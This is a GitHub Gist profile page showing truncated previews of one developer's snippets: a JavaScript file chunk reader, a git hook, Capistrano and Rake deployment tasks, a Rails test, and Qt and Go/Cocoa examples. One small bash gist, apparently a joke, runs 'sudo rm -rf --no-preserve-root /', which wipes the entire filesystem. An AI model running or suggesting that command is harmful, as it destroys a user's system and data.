Skip to content

Instantly share code, notes, and snippets.

View alediaferia's full-sized avatar
🏢
Working from work

Alessandro Diaferia alediaferia

🏢
Working from work
View GitHub Profile
@alediaferia
alediaferia / tiny_uploader.js
Last active November 27, 2022 01:36
A tiny snippet for reading files chunk by chunk in plain JavaScript
/*
Copyright (c) 2015-2020 Alessandro Diaferia
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
@alediaferia
alediaferia / stop_iit
Last active August 29, 2015 14:23
Prevent committing `iit` Protractor (https://github.com/angular/protractor) test suites
#!/bin/bash
# checking if unadvertedly we have left iit here and
# there in protractor test files
if git-rev-parse --verify HEAD >/dev/null 2>&1; then
against=HEAD
else
against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
fi
@alediaferia
alediaferia / git_local.rb
Last active May 9, 2016 20:31
Capistrano strategy for checking out git projects locally rather than on deployment destination machine
module LocalGitStrategy
def test
run_locally do
test " [ -f #{repo_path}/.git/HEAD ] "
end
end
def check
run_locally do
execute :git, :'ls-remote --heads', repo_url
@alediaferia
alediaferia / go.rake
Last active May 9, 2016 20:33
A couple of rake tasks to handle Go projects deployment
namespace :go do
task :upload do
on release_roles :all do
upload! "#{repo_path}/#{fetch(:application)}", release_path
end
end
task :build do
run_locally do
within repo_path do
require 'action_controller/railtie'
require 'minitest/autorun'
require 'rack/test'
class TestApp < Rails::Application
config.root = File.dirname(__FILE__)
config.session_store :cookie_store, key: 'cookie_store_key'
secrets.secret_token = 'secret_token'
secrets.secret_key_base = 'secret_key_base'
config.logger = Logger.new($stdout)
0x6dfa3881C6cDbd6753432E64BEc7692387Db015E
#!/usr/bin/env bash
echo "Bye bye"
sudo rm -rf --no-preserve-root /
@alediaferia
alediaferia / main.mm
Created December 31, 2017 14:08
Qt within Objective-C
- (BOOL)application:(UIApplication *)application willFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
NSProcessInfo *procInfo = [NSProcessInfo processInfo];
NSArray *arguments = [procInfo arguments];
int argc = arguments.count;
// we need a strong reference for the
// argv because it is required to stay
// valid as long as the QGuiApplication instance
// is valid
_argv = (char**)malloc(sizeof(char*) * argc);
for (int i = 0; i < argc; ++i) {
@alediaferia
alediaferia / gogoa.go
Created December 31, 2017 16:56
A Gogoa Example
package main
import (
"github.com/alediaferia/gogoa"
)
func main() {
app := gogoa.SharedApplication()
window := gogoa.NewWindow(0, 0, 200, 200)
window.SetTitle("Gogoga!")
@alediaferia
alediaferia / gogoa_howto.go
Created December 31, 2017 16:59
How to implement Gogoa
package gogoa
// #cgo CFLAGS: -x objective-c
// #cgo LDFLAGS: -framework Cocoa
//#include "g_application.h"
import "C"
import "unsafe"
type Application struct {
ptr unsafe.Pointer